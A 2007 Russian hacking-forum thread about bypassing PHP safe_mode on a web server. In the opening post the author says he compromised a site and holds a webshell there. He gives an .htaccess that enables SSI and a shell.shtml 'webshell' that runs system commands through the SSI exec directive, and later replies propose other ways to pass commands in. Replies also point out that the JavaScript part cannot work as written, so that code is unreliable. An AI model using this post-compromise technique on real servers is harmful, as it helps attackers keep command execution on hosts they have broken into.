обход ограничений safe_mode...

Discussion in 'Уязвимости' started by p-range, 14 Apr 2007.

  1. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    Это просто один из способов обойти ограничения на выполнение системных команд при safe_mode = on.
    Целью не является сделать полный обзор по всем способам обхода ограничений safe_mode, а сделать упор на один.

    Недавно у меня появилась такая проблема, взломал сайт (неважно как), получил на нем вебшелл. Права на запись были, но... safe_mode был как на зло включен. Тогда у меня появилась идея как его обойти. Точнее способ был известен и до меня, но я его предоставлю в более удобном виде.

    Итак, есть вебшелл, права на запись в любую директорию сайта. Для начала смотрим phpinfo();. В поле Loaded Modules смотрим загружен ли модуль mod_include, если да, то все нормально. Создаем файл .htaccess следующего содержания:
    Code:
    AddType text/html .shtml
    AddHandler server-parsed .shtml
    Options +Includes
    
    Далее пишем своеобразный "вебшелл" на JavaScript + SSI (Server Side Includes), позволяющий обходить ограничения safe_mode и выполнять системные команды. Итак, создаем файл shell.shtml следующего содержания:
    Code:
    <html>
    <body>
    <script language="JavaScript">
    <!--
    function execute() {
    var cmd = document.exec.cmd.value;
    document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');
    }
    //-->
    </script>
    <form name="exec">
    <input type="text" name="cmd" size="20" value="">&nbsp;
    <input type="submit" value="exec" onClick="execute()">
    </form>
    </body>
    </html>
    
    Все, наш скрипт готов. Для тех кто не понял, мы собираемся выполнять команды с помощью этой строчки:
    Code:
    <!--#exec cmd="uname -a;"-->
    А JavaScript вставки и форма нужна для того чтобы не изменять каждый раз скрипт вручную, а делать все через веб интерфейс.

    Вот собственно все что я хотел рассказать.

    Полезные ссылки:
    SSI
    Обход Safe Mode
    Поднимаем железный занавес
     
    #1 p-range, 14 Apr 2007
    Last edited: 14 Apr 2007
    6 people like this.
  2. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    НЕ ВЕРЮ (c) станиславский
    не верю что будет работать так как ssi должен выполнятся на стороне сервера а javascript выполняется на стороне клиента

    если очень хочется неменяя кода скрипта выполнять разные команды можно сделать чтоб в кмд передавался какойнить HTTP_ACCEPT от клиента с командой, да и вобще ssi давно и много где освещалось так что незачет.
     
    #2 ShAnKaR, 15 Apr 2007
    Last edited: 15 Apr 2007
  3. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    ShAnKaR
    Согласен, способ был бы актуален на jsp но... там нету safe_mode...

     
  4. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    ShAnKaR, не веришь, проверь.
    ты хоть понял для чего тут JavaScript нужен? выполняется только SSI, яваскрипт нужен лишь для автоматизации. тоесть для того чтобы не заливать каждый раз скрипт на сервер.
     
    1 person likes this.
  5. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Как сервер узнает, какую команду выполнять? Чисто физически браузер не передает серву участок кода с ssi...

    Можно сделать у формы экшн на ифрейм, который ведет на скрипт, который в свою очередь прописывает код в .shtml-файл и перенаплавляет на него посылкой хеадера Location.
     
    #5 SMiX, 16 Apr 2007
    Last edited by a moderator: 16 Apr 2007
  6. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    ты имеешь ввиду php?
     
  7. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    да любой, хоть jsp
     
    1 person likes this.
  8. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    ясно, будет время реализую
     
    1 person likes this.
  9. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    эээх не слушают меня ни когда :( и не знают а спорят и спорят
     
    #9 ShAnKaR, 16 Apr 2007
    Last edited: 17 Apr 2007
  10. T0p

    T0p Elder - Старейшина

    Joined:
    28 Dec 2006
    Messages:
    75
    Likes Received:
    16
    Reputations:
    6
    А это не пробовал никто?

    http://www.securitylab.ru/vulnerability/source/271721.php